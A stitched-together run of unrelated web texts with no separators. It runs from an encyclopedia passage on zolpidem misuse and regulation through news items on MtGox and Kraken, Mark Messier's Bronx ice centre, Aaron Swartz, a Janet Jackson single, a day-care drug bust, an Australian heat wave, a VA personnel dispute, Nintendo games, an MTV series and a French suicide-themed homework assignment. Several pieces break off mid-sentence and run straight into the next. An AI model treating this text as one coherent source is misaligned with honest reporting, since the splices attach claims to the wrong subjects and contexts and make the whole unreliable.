The United States Air Force uses zolpidem as one of the hypnotics approved as a "no-go pill" (with a 6-hour restriction on subsequent flight operation) to help aviators and special duty personnel sleep in support of mission readiness. (The other hypnotics used are temazepam and zaleplon.) "Ground tests" are required prior to authorization issued to use the medication in an operational situation.[50]
Recreational use [ edit ]
Zolpidem has potential for either medical misuse when the drug is continued long term without or against medical advice, or for recreational use when the drug is taken to achieve a "high".[51][52] The transition from medical use of zolpidem to high-dose addiction or drug dependence can occur with use, but some believe it may be more likely when used without a doctor's recommendation to continue using it, when physiological drug tolerance leads to higher doses than the usual 5 mg or 10 mg, when consumed through inhalation or injection, or when taken for purposes other than as a sleep aid.[51] Recreational use is more prevalent in those having been dependent on other drugs in the past, but tolerance and drug dependence can still sometimes occur in those without a history of drug dependence. Chronic users of high doses are more likely to develop physical dependence on the drug, which may cause severe withdrawal symptoms, including seizures, if abrupt withdrawal from zolpidem occurs.[53]
Other drugs, including the benzodiazepines and zopiclone, are also found in high numbers of suspected drugged drivers.[9] Many drivers have blood levels far exceeding the therapeutic dose range, suggesting a high degree of excessive-use potential for benzodiazepines, zolpidem and zopiclone.[54] U.S. Congressman Patrick J. Kennedy says that he was using Zolpidem (Ambien) and Phenergan when caught driving erratically at 3 am.[55] "I simply do not remember getting out of bed, being pulled over by the police, or being cited for three driving infractions," Kennedy said.
Nonmedical use of zolpidem is increasingly common in the U.S., Canada, and the UK. Some users have reported decreased anxiety, mild euphoria, perceptual changes, visual distortions, and hallucinations.[56] Zolpidem was used by Australian Olympic swimmers at the London Olympics in 2012, leading to controversy.[57]
Regulation [ edit ]
For the stated reason of its potential for recreational use and dependence, zolpidem (along with the other benzodiazepine-like Z-drugs) is a Schedule IV substance under the Controlled Substances Act in the U.S. The United States patent for zolpidem was held by the French pharmaceutical corporation Sanofi-Aventis.[58]
Use in crime [ edit ]
The z-drugs including zolpidem have been used as date rape drugs.[9][59] Zolpidem is available legally by prescription, and unlike gamma-hydroxybutyrate, which is used to treat a rare form of narcolepsy, and flunitrazepam (Rohypnol), which is only prescribed as a second-line choice for insomnia, zolpidem is broadly prescribed.[60] Zolpidem can typically be detected in bodily fluids for 36 hours, though it may be possible to detect it by hair testing much later, which is due to the short elimination half-life of 2.5–3 hours.[9] This use of the drug was highlighted during proceedings against Darren Sharper, who was accused of using the tablets he was prescribed to facilitate a series of rapes.[60][61]
Sleepwalking [ edit ]
Zolpidem received widespread media coverage in Australia after the death of a student who fell 20 m from the Sydney Harbour Bridge while under the influence of zolpidem.[62]
Brands [ edit ]
As of September 2018, zolpidem was marketed under many brands: Adorma, Adorma, Albapax, Ambien, Atrimon, Belbien, Bikalm, Cymerion, Dactive, Dalparan, Damixan, Dormeben, Dormilam, Dormilan, Eanox, Edluar, Edluar, Flazinil, Fulsadem, Hypnogen, Hypnonorm, Intermezzo, Inzofresh, Ivadal, Ivedal, Le Tan, Lioram, Lunata, Medploz, Mondeal, Myslee, Nasen, Nocte, Nottem, Noxidem, Noxizol, Nuo Bin, Nytamel, Nyxe, Olpitric, Onirex, Opsycon, Polsen, Sanval, Semi-Nax, Sleepman, Somex, Somidem, Somit, Somnil, Somnipax, Somnipron, Somno, Somnogen, Somnor, Sonirem, Sove, Soza, Stilnoct, Stilnox, Stilpidem, Stimin, Sublinox, Sucedal, Sumenan, Vicknox, Viradex, Xentic, Zasan, Zaviana, Ziohex, Zipsoon, Zodem, Zodenox, Zodium, Zodorm, Zolcent, Zoldem, Zoldorm, Zoldox, Zolep, Zolfresh, Zolip, Zolman, Zolmia, Zolnox, Zolnoxs, Zolodorm,Zolnyt, Zolpeduar, Zolpel, Zolpi, Zolpi-Q, Zolpic, Zolpidem, Zolpidem tartrate, Zolpidemi tartras, Zolpidemtartraat, Zolpidemtartrat, Zolpidemum, Zolpigen, Zolpihexal, Zolpimist, Zolpineo, Zolpinox, Zolpirest, Zolpistar, Zolpitop, Zolpitrac, Zolpium, Zolprem, Zolsana, Zolta, Zoltar, Zolway, Zomnia, Zonadin, Zonoct, Zopid, Zopidem, Zopim, and Zorimin.[1]
Research [ edit ]
While cases of zolpidem improving aphasia in people with stroke have been described, use for this purpose has unclear benefit.[63] Zolpidem has also been studied in persistent vegetative states with unclear effect.[64] A 2017 systematic review concluded that while there is preliminary evidence of benefit for treating disorders of movement and consciousness other than insomnia (including Parkinson's disease), more research is needed.[65]
Animal studies in FDA files for zolpidem showed a dose dependent increase in some types of tumors, although the studies were too small to reach statistical significance.[66] Some observational epidemiological studies have found a correlation between use of benzodiazepines and certain hypnotics including zolpidem and an increased risk of getting cancer, but others have found no correlation; a 2017 meta-analysis of such studies found a correlation, but noted that the results were tentative because some of the studies failed to control for confounders like cigarette smoking and alcohol use, and some of the studies analyzed were case–controls, which are more prone to some forms of bias.[67]Note: The following is from our press release. We will post further information here when further information becomes available.
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Provided the trustee decides to distribute bitcoin, creditors may be asked to create a Kraken account, if they do not already have one, to establish a secure, efficient and cost-effective platform for the distribution of bitcoin.
Claimants wishing to open a Kraken account and possibly avoid any delays caused by the large increase in new sign-ups and/or verifications are encouraged to sign up now at https://www.kraken.com/signup.
“The outcome of the MtGox bankruptcy proceedings will deeply affect the Bitcoin community as a whole,” said Kraken CEO Jesse Powell. “We’ve decided to volunteer our resources and expertise in an attempt to minimize damage to creditors, restore faith in the Bitcoin community, and demonstrate trusted leadership in the industry,” Powell said.
Note: We will post further information here (or link to a new blog post) when further information becomes available.
Image: Jon Southurst/CoinDesk
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FacebookMark Messier may have famously helped the Rangers win the Stanley Cup, but now the hockey legend says he feels like he’s being sent to the penalty box while trying to bring the world’s largest ice-skating complex to The Bronx.
The former Rangers captain told The Post that he’s baffled over the city “reneging” on its commitment to turn over the lease to the long-shuttered Kingsbridge Armory to his development team so it can begin construction.
“I couldn’t guess what the mayor is thinking. I’ve laid up many nights wondering why,” Messier said.
The project was approved in the final days of the Bloomberg administration in 2013 — and recently stalled by Mayor Bill de Blasio and the city’s Economic Development Corp., which said it wanted to see the money first.
But Messier said his project team — including developer Kevin Parker and Olympic figure-skating gold-medal winner Sarah Hughes — needs the lease first to move ahead with its $350 million plan and keep the capital flowing.
The Kingsbridge National Ice Center would be a 750,000-square-foot complex with nine ice rinks, a 5,500-seat arena and a community center.
Many kids from low-income families would get access to free ice time and equipment, Messier said.
He said his group lined up the financing through banks and private investors, relying heavily on a federal immigration program called EB-5, which offers green cards to deep-pocketed foreigners who help fund job-creating US projects.
But after the lease signing in October 2014, the EDC decided to hold the lease in escrow until Messier’s team could come up with $158 million to finance the project’s first phase.
‘I couldn’t guess what the mayor is thinking. I’ve laid up many nights wondering why.’ - Mark Messier
The unexpected move was a “huge blow” because lenders were reluctant to open their checkbooks without his team first having a lease, Messier said.
Gov. Andrew Cuomo’s economic development arm, the Empire State Development Corp., committed to loaning $138 million, but even the state’s word wasn’t good enough.
Both sides agreed to extend the deadline to April 25 to try to resolve the dispute and avoid litigation.
EDC spokesman Anthony Hogrebe called Messier “a New York legend’’ but said, “Unfortunately, the captain’s supporting cast on this run haven’t played with the grace or skill of [former star teammates Brian] Leetch and [Adam] Graves.”
Referring to a lawsuit over ownership claims by Parker’s former business partners that was dismissed in 2014, Hogrebe said Messier’s “team has been beset by infighting and has yet to secure much of the $350 million it needs to deliver Mark’s visionary project. There have been lawsuits and countersuits. And deadlines have come and gone.”
“In the midst of all of this, in cooperation with Kingsbridge and its lender, EDC sought to protect the project and an iconic building by placing the lease in escrow until the necessary funds could be raised,” Hogrebe added. “We still hope that [Messier’s] team can deliver a great project for the people of the Bronx. EDC is committed to working with [the team] to do that and has continuously offered support. We hope [the team] continues conversations with us so the Kingsbridge project can move forward.”
Check out some of the other times the mayor left New Yorkers scratching their heads:STUDENT RESEARCHERS Loras College students work with the survey research team to develop questions, analyze and interpret the data, and assist with sharing the final results with local, regional and national media.
PUBLIC OPINION SURVEY CENTER The Loras Public Opinion Survey Center was established in spring 2014 by an anonymous donor as part of the College’s $100 million capital campaign, Inspiring Lives and Leadership: the Loras Legacy. Through the Center, the Loras College Poll can conduct surveys focused on elections, as well as other political and social issues of interest. The Iowa Presidential Caucuses are be a regular focus of the center. As part of the Survey Center, students are involved in all aspects of the research process.
FACULTY ADVISORS
Loras College students work with the survey research team to develop questions, analyze and interpret the data, and assist with sharing the final results with local, regional and national media. The Loras College Poll is overseen by Christopher Budzisz, Ph.D., associate professor of political science.
Christopher Budzisz, Ph.D.
Christopher.Budzisz@loras.edu
Associate Professor of Politics
Director of the Loras College Poll
Budzisz joined the Loras College Politics program in 2000, with teaching emphasis on constitutional law, American government and institutions, political philosophy, as well as elections and political behavior. As a 2007 Fulbright Scholar, Budzisz taught in the International Relations Faculty at Chernivtsi National University in Chernivtsi, Ukraine. He has been published in PS: Political Science and Politics, and in the edited volume Engaging the Public: How Government and the Media Can Reinvigorate American Democracy. Beyond his teaching and research interests, Budzisz is director and coach of the Loras College Moot Court program. He is also a past winner of the Mike and Linda Budde Excellence in Teaching Award.Story highlights David Weinberger: With Aaron Swartz's suicide, something essential about the Net has died
He says Swartz not just "hacker" but prescient prodigy who made huge contributions
He says zealous prosecutors wanted to jail him, but he saw information as public good
Writer: Swartz embodied what is best about the Net -- sharing, connectedness, promise
We can understand -- but of course not fathom -- the grief of Aaron's loving parents, of his friends and of people like me who were privileged to have known Aaron over his short years. To understand the depth of feeling among those who never met Aaron, we have to get past the convenient pegs the media have used to explain his story.
For example, the media like to shorthand Aaron by calling him a "hacker." Yes, if by "hacker" we mean what software developers generally intend by the term: an exceptionally clever person who can make anything out of anything. To the general public though, it means a "black hat" who violates laws to get at protected information.
David Weinberger
Aaron was a builder, not a hacker in the black hat sense. The list of the projects he contributed to is prodigious, as is appropriate for a prodigy who at the age of 13 anticipated the concept of Wikipedia and at 14 was being consulted by senior technologists about a standard to ease the flow of content across the Internet.
That was just the start. Aaron went on to make serious contributions to Creative Commons (an organization that releases licenses so authors can let their work be more easily reused), Open Library (a public library of online works), Reddit (an immensely popular open discussion forum), Markdown (a simple way to write Web pages), web.py (making it easier for developers to create Web applications), Jottit.com (type-and-post website) and much more.
But you can't explain the Internet's grief simply by referring to Aaron's unearthly technical prowess. You may notice a pattern in the projects Aaron worked on: They're about making it easier to share information on the Internet. That's what got him in trouble with a reckless prosecutor who wanted to put him in jail for 35 years for downloading millions of academic research articles from a provider -- JSTOR -- that puts no limits on how many articles subscribers can download and that did not want to prosecute him. Earlier, Aaron had participated in making public court records much more readily available online.
Yet it would be a mistake to peg Aaron only as a liberator of information for the public good. He also built services to enable social interactions around information and ideas, because that's how ideas have effect in the world. Aaron had a deep sense of the Internet as the site of a new culture of ideas, connection and play.
But it would also be a mistake to peg Aaron simply as a champion of social connectedness. He was that, but he was also a hardheaded fighter for justice. He was acutely aware of the advantages conveyed by accidents of birth: country, race, class, gender, sexuality and more. Access to information and to one another were, to Aaron, tools in the struggle to lessen the world's raw unfairness.
Still, thinking of Aaron mainly as a software activist is one more peg we should undo. The world has rarely seen an intellect as voracious and comprehensive as Aaron's. He was a seeker after first causes and had the mental prowess to plow through massive amounts of information and ideas, simultaneously considering the data, the pragmatics, the theory, and the theory of theory.
JUST WATCHED Internet prodigy hangs himself Replay More Videos... MUST WATCH Internet prodigy hangs himself 02:32
His insight helped inspire Lawrence Lessig's Harvard-based anti-corruption campaign ( Rootstrikers ) and two groundbreaking progressive grass-root organizations ( Demand Progress and the Progressive Change Campaign Committee ). From these platforms, and with his remarkable skills as a writer, he was able to play a crucial role in alerting the Net to the dangers of the Stop Online Piracy Act that would have given the government more power to shut down sites at the blink of the content industry's stink eye.
Put this together and you still don't have that which the Net is mourning. Aaron didn't just contribute ferociously to the Net.
It wasn't just that he was persecuted out of all proportion for trying to contribute more. Above all, he embodied what is best and hopeful about the Internet: its endless information, |
.[47]
In 2004, while promoting her eighth studio album Damita Jo, Jackson made surprise performances of "Together Again" and "All Nite (Don't Stop)" at New York's Gay Pride March.[48] "Together Again" was one of her older songs on the 2008 Rock Witchu Tour, her first tour in seven years. It was at the middle of the setlist.[49] She was dressed in a gold and black glam hip hop-inspired track suit, and one gold glove.[50] Variety magazine's Phil Gallo likened her vocals in the song to that of Diana Ross's.[51] Rap-Up noted the audience "went wild" during the song.[52] While reviewing the Vancouver concert, Marsha Lederman of The Globe and Mail noted that the most memorable moment of the show was when Jackson "stopped on the catwalk after her hit Together Again, listened to the crowd roar its approval, and became emotional – really emotional. We're talking tears. 'Thank you,' she said – seeming to really mean it, as she waved her hands, begging the audience to stop", she completed.[50] While promoting her second greatest hits album Number Ones, the singer performed an eight-minute medley of six hits during the American Music Awards of 2009. It included "Control", "Miss You Much", "What Have You Done for Me Lately", "If", "Make Me", and finished with "Together Again". For the latter's performance, Jackson stood alone at center stage, smiling, as the received applauses and standing ovation from the audience.[53][54] It also was the closing song of her concert at Essence Music Festival in New Orleans, in July 2010, which she headlined.[55] "Together Again" was again performed as a closing number on her Number Ones: Up Close and Personal 2011 tour as a dedication to her late brother, Michael Jackson, wearing a tight white one-piece disco suit. MTV News' writer Vaughn Schoonmaker noted that the song appeared to be the biggest hit of the show.[56] Jackson also included the song on her 2015-16 Unbreakable World Tour. Writing for the Hartford Courant, Thomas Kintner pointed out that "A finale of 'Together Again', offered as a simple tribute that recalled her brother again, proved the evening's highlight, a relaxed trip through the sort of juicy pop Jackson has stockpiled throughout her career, and which still charms when she lets it run".[57] The song is also included on the 2017-2018 State of the World Tour.
Track listing and formats [ edit ]
US CD Single[58]
"Together Again (Jimmy Jam Deep Remix) - 5:46 "Together Again (Jimmy Jam Deeper Remix) - 4:52 "Together Again (Tony Moran 12" Club Mix) - 11:00 "Together Again (Tony Humphries Club Mix) - 6:44 "Together Again (DJ Premier Just The Bass) - 5:22
US 12" Single[59]
"Together Again (Tony Moran 12" Club Mix) - 11:00 "Together Again (Tony Humphries Club Mix) - 6:44 "Together Again (Jimmy Jam Extended Deep Club Mix) - 6:30 "Together Again (DJ Premier Just Tha Bass) - 5:22
Remixes [ edit ]
Tony Humphries Mixes "Together Again (Tony Humphries Club Mix)" - 6:44
"Together Again (Tony Humphries 12" Edit)" - 10:00
"Together Again (Tony Humphries FBI Dub)" - 7:20
"Together Again (Tony Humphries White & Black Dub)" - 6:30 Jimmy Jam Mixes "Together Again (Jimmy Jam Deep Remix)" - 5:46
"Together Again (Jimmy Jam Deeper Remix)" - 4:52
"Together Again (Jimmy Jam Extended Deep Club Mix)" - 6:30 Tony Moran Mixes "Together Again (Tony Moran 12" Club Mix)" - 11:00
"Together Again (Tony Moran 7" Edit)" - 5:29 DJ Premier Mixes "Together Again (DJ Premier 100 In A 50 Remix)" - 5:22
"Together Again (DJ Premier Just Tha Bass)" - 5:22 Jonathan Peters Mixes (Unreleased)[60] "Together Again (Sound Factory Vocal Mix)" - 12:34
"Together Again (Jonathan Peters Dub)" - 7:20
Credits and personnel [ edit ]
Janet Jackson - vocals, songwriter, producer, vocal and rhythm arrangement
Jimmy Jam and Terry Lewis - songwriters, producers, all other instruments, vocal and rhythm arrangements
René Elizondo, Jr. - songwriter
Steve Hodge - engineering, mixing
Alexander Richbourg - drum machine
Xavier Smith – assistant engineer
Source:[61]
Charts [ edit ]
Certifications [ edit ]
Region Certification Certified units/Sales Australia (ARIA)[22] Platinum 70,000^ Belgium (BEA)[101] Platinum 50,000* France (SNEP)[29] Platinum 500,000* Germany (BVMI)[31] Platinum 500,000^ Japan (RIAJ)[102] Platinum 100,000^ Netherlands (NVPI)[33] Gold 10,000 New Zealand (RMNZ)[103] Gold 7,500* Sweden (GLF)[104] Gold 15,000^ Switzerland (IFPI Switzerland)[35] Gold 25,000^ United Kingdom (BPI)[105] Platinum 807,000[25] United States (RIAA)[18] Platinum 1,000,000[106] *sales figures based on certification alone
^shipments figures based on certification aloneThis day care in the Bronx was searched Thursday as part of a months-long investigation into an alleged drug trafficking operation
Five alleged drug traffickers are under arrest and accused of stashing drugs, cash and guns in homes where day care businesses operated and children played.
Officials say traffickers sent packages of cocaine from Puerto Rico to New York City, usually between 10 and 22 pounds per month. In one shipment, postal inspectors found more than 2 pounds of cocaine wrapped in SpongeBob SquarePants bedding.
The organization stashed its drugs and cash at a home in the Bronx that was also used as a day care called Fun World Childcare, authorities said.
The location was raided in September 2013, and agents say they found more than 2 pounds of cocaine, 1,000 oxycodone pills and $15,250 in cash. Some of the cocaine was hidden in a child's "Hot Wheels" lunch bag, prosecutors said.
A handgun, cash and a drug scale were found at a stash house across the street, authorities said.
The Bronx couple who lived in the home were arrested in September.
New York City's Special Narcotics Prosecutor Bridget Brennan said the alleged ringleader of the operation was arrested Thursday at a home in the Bronx, where a second day care center operated under the name Sweet Home. Authorities also found $7,500 in cash in a bedroom there.
"Day care centers are considered safe houses not stash houses, which is what these drug dealers used to traffic and store illegal narcotics," NYPD Commissioner Bill Bratton said in a statement. "Thanks to the efforts of the investigators in this case, the leaders of this sophisticated drug-smuggling operation have been brought to justice.”
Two other defendants were arrested Thursday.
Those in custody face a range of charges, including conspiracy, money laundering and endangering the welfare of a child.× This page contains archived content and is no longer being updated. At the time of publication, it represented the best available science.
For those who track their local temperatures using the Celsius scale, 40 degrees is a daunting number. In early February 2009, residents of southeastern Australia were cringing at their weather forecasts, as predictions of temperatures above 40 degrees Celsius (104 degrees Fahrenheit) meant that a blistering heat wave was continuing.
This map of Australia shows how the land surface temperature from January 25 to February 1 compared to the average mid-summer temperatures the continent experienced between 2000-2008. Places where temperatures were warmer than average are red, places experiencing near-normal temperatures are white, and places where temperatures were cooler than average are blue. The data were collected by the Moderate Resolution Imaging Spectroradiometer (MODIS) on NASA’s Terra satellite. While southern Australia was scorching, a similarly large area of northern and central Australia was several degrees cooler than it was in the previous nine years. The cool anomaly across that region is probably linked to the above-average rainfall the area has received during this year’s wet season.
Land surface temperature is how hot the surface of the Earth would feel to the touch in a particular location. From a satellite’s point of view, the “surface” is whatever it sees when it looks through the atmosphere to the ground. That could be the sand on a beach, the grass on a lawn, the roof of a building, or a paved road. Thus, daytime land surface temperature is often much higher than the air temperature that is included in the daily weather report—a fact that anyone who has walked barefoot across a parking lot on a summer afternoon could verify.
The Australian Bureau of Meteorology (BOM) called this heat wave “exceptional,” not only for the high temperatures but for their duration. One-day records were broken in multiple cities, with temperatures in the mid-40s. In Kyancutta, South Australia, the temperature reached 48.2 degrees Celsius (118.8 degrees Fahrenheit). Many places also set records for the number of consecutive days with record-breaking heat.
Nighttime temperatures broke records, too. In their special statement on the heat wave, the BOM wrote, “On the morning of 29 January, an exceptional event also occurred in the northern suburbs of Adelaide around 3 a.m., when strong north-westerly winds mixed hot air aloft to the surface. At RAAF Edinburgh [a regional airport], the temperature rose to 41.7°C at 3:04 a.m. Such an event appears to be without known precedent in southern Australia.”
NASA map by Jesse Allen, based on MODIS land surface temperature data. Caption by Rebecca Lindsey.A civil servants union representing employees of the Department of Veterans Affairs (VA) objected to the suspension of VA employee Elizabeth Rivera after she was “arrested and incarcerated for felony armed robbery” and successfully convinced government officials to return her to work and pay her for 30 days she was confined to house arrest.
The union in a grievance pointed out the fact that Rivera’s boss had been arrested with drugs, and management hadn’t fired him. The boss, hospital CEO DeWayne Hamlin, “responded by threatening the union with filing charges against them if they continued to bring it [his arrest] up,” according to internal documents addressed to Hamlin and obtained by The Daily Caller News Foundation.
The VA eventually tried to fire Hamlin for his handling of the Rivera incident, but that decision was also reversed after the VA concluded it would be blocked by the Merit Systems Protection Board, which provides an avenue for even top executives to file union-like protests in attempts to block discipline.
The notice of proposed termination to Hamlin reads in part:
You met with Rivera Rivera and her representative, union executive vice-president Richard Colon, to discuss the grievance. During this meeting, Mr. Colon argued, among other things, that it was unfair for you to suspend Rivera Rivera for being arrested when you were arrested in April 2014 for Driving Under the Influence and possession of a narcotic without a prescription, and you were not suspended. The union confronted you with your arrest mug shot and arrest police record and you responded by threatening the union with filing charges against them if they continued to bring it up, or words to that effect. Shortly thereafter, on or about August 3, 2015, you reversed your decision to indefinitely suspend Rivera Rivera and instead held her suspension in abeyance, allowed her to return to work, and granted her 30 days of administrative time while she was on house arrest. You exercised poor judgement when you settled the grievance in a manner that did not protect the best interest of the Veterans.
Rivera was assigned to work in the hospital security department while wearing a GPS ankle monitor as part of the plea deal stemming from the arrest for armed robbery. She pleaded guilty to two misdemeanors and authorities dropped the charge of felony armed robbery.
Eugene Lugo, the American Federation of Government Employees local president in Puerto Rico, hung up the phone when TheDCNF asked him about the Rivera case last year.
In April 2016, now-VA Secretary David Shulkin contested TheDCNF’s exclusive report that the Rivera was kept on the payroll, telling a congressional panel that “it is my understanding that that person is not currently working at the VA in San Juan.” He later acknowledged that he was mistaken.
Rivera worked at the VA hospital in San Juan, Puerto Rico, and Hamlin served as CEO. A management-side labor relations specialist in the human resources department, Tito Santiago Rodriguez, is also a convicted sex offender.
The VA attempted to fire Hamlin for “conduct unbecoming a senior leader” over myriad examples of alleged retaliation against people he perceived as being in any way close to a low-level employee who first flagged Hamlin’s arrest, the paperwork shows.
“I just don’t want them here. I can’t trust them. And remove them quickly,” he said, according to the paperwork.
But Hamlin’s firing paperwork does not mention the instance when he allegedly offered Rosayma Lopez, a low-level employee, $350,000 to resign after she refused to help concoct reasons to fire the woman who first blew the whistle on Hamlin’s arrest.
The settlement would have come from taxpayer funds. Lopez declined the offer, saying she just wanted to serve veterans. The Office of Special Counsel, an independent federal agency, has been investigating Hamlin for years, and it is unclear why the investigation is taking so long.
On Oct. 15, 2017, Hamlin agreed to be demoted in exchange for the VA withdrawing its attempt to fire him, VA spokesman Curt Cashour told TheDCNF. He took a pay cut and moved to Kentucky to work in the Veterans Canteen Service Central Office.
Hamlin’s stature seems to be rising again. “Beginning in February of 2018, Hamlin will assume direct oversight for business, leadership, and operational control of 12 canteens located in Ohio, Kentucky and the Michigan area. His primary responsibilities will include securing revenue and earnings goals and meeting operational and customer service standards,” Cashour said.
Cashour said “our hands were tied by the Merit Systems Protection Board, which was poised to overturn Hamlin’s firing, reinstate him to a Senior Executive Service position and force VA to pay his attorney’s fees. That’s why on May 2, 2017, following discussions with the Merit Systems Protection Board administrative judge, VA rescinded Hamlin’s removal.” He said the situation would likely not occur now because of “the passage of the VA Accountability and Whistleblower Protection Act. This means the action had to meet a higher standard of evidence than it would have had it been initiated today.”
At a September 2016 “Leaders Developing Leaders” conference–after the misconduct listed in the firing notice, which is dated December 2016–Hamlin was named a “coach” and a “lead,” shaping other VA managers in his image.
Follow Luke on Twitter or email luke@dailycallernewsfoundation.org
Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.Some exciting news from Google. Fact-checking will be part of your search results. https://t.co/u4E4xbGvF9 pic.twitter.com/3iMObtmx44 — PolitiFact (@PolitiFact) April 7, 2017
The fight against fake news continues.
So many outlets and organizations have taken steps to reduce the amount of false information consumed by the average Internet user on social media, but Google is doing one better. They’re not waiting for the info to hit Facebook before they pounce.
Google announced in a blog post today that fact-checking will start to appear in search results:
For the first time, when you conduct a search on Google that returns an authoritative result containing fact checks for one or more public claims, you will see that information clearly on the search results page. The snippet will display information on the claim, who made the claim, and the fact check of that particular claim.
Notes like “true” or “mostly true” will appear next to stories that have been checked, though Google is leaving the checking itself to third parties like PolitiFact. Among the over 100 organizations Google has been working with on fact-checking, you’ll find The Associated Press, the BBC, and NPR.
Not all stories will be checked, of course, and some may be given ranking by different organizations. Google will make note of that in those instances.
[image via screengrab]
——
Lindsey: Twitter. Facebook.
Have a tip we should know? tips@mediaite.comA new 3D Mario action game from the Super Mario Galaxy team and a new Mario Kart title are in development for Wii U, and will be revealed at E3, Nintendo president Satoru Iwata revealed during a Nintendo Direct presentation this morning.
Details about the titles are slim, but Iwata promised that the games would be in a playable state at this year's E3 conference in Los Angeles, Calif. this June.
This year's E3 will also see the reveal of the first screens for the next Super Smash Bros. game for Nintendo 3DS and Wii U.
A new party game is also in development for Wii U from the creators of Wii Party, which will launch this summer. The title features mini-games strewn across a board game environment (similar to the Mario Party series). Each mini-game title will either use a combination of Wii Remotes and the GamePad, or the GamePad by itself to have players square off against one another, as seen in the Twister-like mini-game above."I feel like for teenagers these days and for the MTV audience, the show is not going to be controversial," says Carter Covington of the show's premise, with the two female main characters pretending to be a lesbian couple.
MTV's latest scripted comedy, Faking It, follows two best friends Karma and Amy who are mistakenly outed as lesbians in high school, catapulting them to instant popularity and prompts them to keep up with their romantic ruse. If there was any worry about whether the premise would ruffle feathers, the team behind the show is confident it will pass over.
"I feel like for teenagers these days and for the MTV audience, the show is not going to be controversial," executive producer Carter Covington says. "It's going to be an exaggerated version but very much based on the world they live in now.... I think we carry this expectation that the world stays the same and it really doesn't."
STORY: 'Awkward' Gets Early Season 4 Back Order at MTV
Covington shared five things about his new MTV series, which begins production shortly, with reporters Friday morning at the winter Television Critics Association press tour.
1. Faking It asks similar questions to Awkward. Covington used his experience as a crisis counselor at The Trevor Project as inspiration for the show. "Tolerance is changing," Covington says. "Kids these days I don't think see the world as I did." Much of Awkward focuses on core questions such as, Who am I? Who do I want to become?, something that was a main arc for the third season. To hear Covington tell it, expect similar themes to be addressed in Faking It, with questions like: Who am I? Who do I want to be? How do I want to be seen?
2. There was never a consideration for two male protagonists. Covington admitted that he did not seriously think about featuring male characters in the main roles, instead of two female friends. "Female friendship is a very unique bond that I don't know is replicated in male friendship," Covington says. "I do think there's still a level of bravado and machismo in society that is there but I would like to think that it's unattractive for teen males to be bullies. I think there's an energy to make that energy not appropriate and I think that's a good thing."
STORY: MTV Renews 'Awkward,' Taps New Showrunners
3. The story behind the Texas setting. "My husband is from right outside of Dallas and he went to the University of Texas," Covington explains. "I find Austin this fascinating place. I find it so liberal and it's in the middle of Texas. It's enabling us to show that difference and I think it's going to be unique on television I hope."
4. The show has an American Idol connection. Star Katie Stevens, who was a season-nine finalist on the Fox singing competition, kept her Idol past under wraps until she was cast in Faking It. "I would be a really bad executive producer if I didn't use the talents that she has," Covington says. Expect her to show off her pipes in a future episode.
5. Season-one plan revealed. The premise introduced in the pilot will be the story of the first eight episodes and how it complicates the characters' personal and school lives. "It will be an interesting love triangle between two best friends and Liam (Gregg Sulkin)," Covington hints. The characters' parents will also be in the picture, with casting currently underway: "They will be a big part," he promises.
Faking It premieres April 22 at 10:30 p.m. on MTV.
Email: Philiana.Ng@THR.com
Twitter: @insidethetubeThe unnamed teacher handed out a homework note to pupils of the collège Antoine-Delafont, a secondary school in Montmoreau-Saint-Cybard southwestern France.
It read: "You've just turned 18 and have decided to end your life. Your decision appears irrevocable. As a final effort, you decide to explain the reasons for your act.
"In setting out your self-portrait, you describe all the disgust you feel for yourself. Your text must bring up certain events in your life at the root of this feeling."
A group of shocked parents wrote an anonymous note to the headmaster and local school authority, saying: "We are horrified that this type of topic should be proposed to children between 13 and 14 years old."
One parent, Béatrice Goupilleau, told Le Charente Libre, the local newspaper, that her son was embarrassed to let her see his suicide note and the teacher's comment, which read: "Not precise enough."
"Thank goodness for that!," she exclaimed.
Another, Hélène Ferrari, said: "What shocks me is linking autobiography with suicide, it's really over the top."
Christophe Clément, president of the FCPE parents' union in Montmoreau, said such a subject is "practically inciting (pupils) to commit suicide."
Jean-Marie Renault, the local education authority head, said the teacher had been officially notified of his suspension, adding: "Telling a pupil that he is about to end his life and that he must recount it appears troubling to us."
His local authority has had to cope with two pupil suicides in recent months.
Geneviève Fioraso, France's higher education minister, waded in, saying: "If the topic was launched in this way, without accompaniment, without context, it's dangerous."
But as the media storm around the suspension grew, many colleagues, parents and pupils rallied behind the teacher.
One pupil, Lola, said: "He's our favourite teacher, the best we've ever had in this school. We don't want him to be punished."
Villagers were generally supportive, with one young mother telling Charente Libre: "What do you think they talk about in the playground? The images they see on TV are far more shocking."
"Suicide is part of daily life. Perhaps the teacher wished to raise their awareness of the issue," said another.
By Tuesday afternoon, an umbrella group of parents issued a statement calling for the teacher's "immediate return to his post for the good of our children". Pupils and teachers "appreciate the qualities of this teacher," they said.
Media coverage of the affair had been "over the top and inappropriate", they added, noting that the subject had "not shocked" pupils at it had been "well presented" by the teacher.
The local SUD-Education union said the suspension was a "bad response taken in haste under pressure from a part of public opinion".
Commenting on NouvelObs website, French teacher Yves Delaie said the affair highlighted a huge problem with post-1968 teaching in France, namely "Wanting at all costs the pupil to talk about himself."Roland Miller is the dean of Communication Arts, Humanities, and Fine Arts at the College of Lake County in Grayslake, Illinois. Miller has been photographing the United States space program for more than 25 years. He contributed this article to Space.com's Expert Voices: Op-Ed & Insights.
Ray Bradbury wrote three "Abandon in Place" elegies after visiting the deactivated launch pads on Cape Canaveral Air Force Station in Florida. The first begins:
"Abandon in Place.
No Further Maintenance Authorized.
Abandon. Turn away your face.
No more the mad high wanderings of thought
You once surmised. Let be!
Wipe out the stars. Put out the skies."
(Copyright 1981 by Ray Bradbury)
The phrase "Abandoned in Place" is stenciled on many of the remaining structures located on Cape Canaveral's historic launch pads. This poignant phrase is meant to indicate that the facility it describes is no longer being maintained. This is the military's way of excusing the deteriorating conditions of facilities that are no longer in use. No commander wants to get docked on an inspection for failing to maintain unused and dated structures. [Stunning, Tragic Images of Abandoned Space History (Photos )]
The irony in that label is it precisely describes the United States' abandonment of extraorbital space exploration by humans after the Apollo program. "Abandoned in Place" also points to the public's loss of interest in such exploration after the first few moon-landing missions, the ultimate "been there, done that" story.
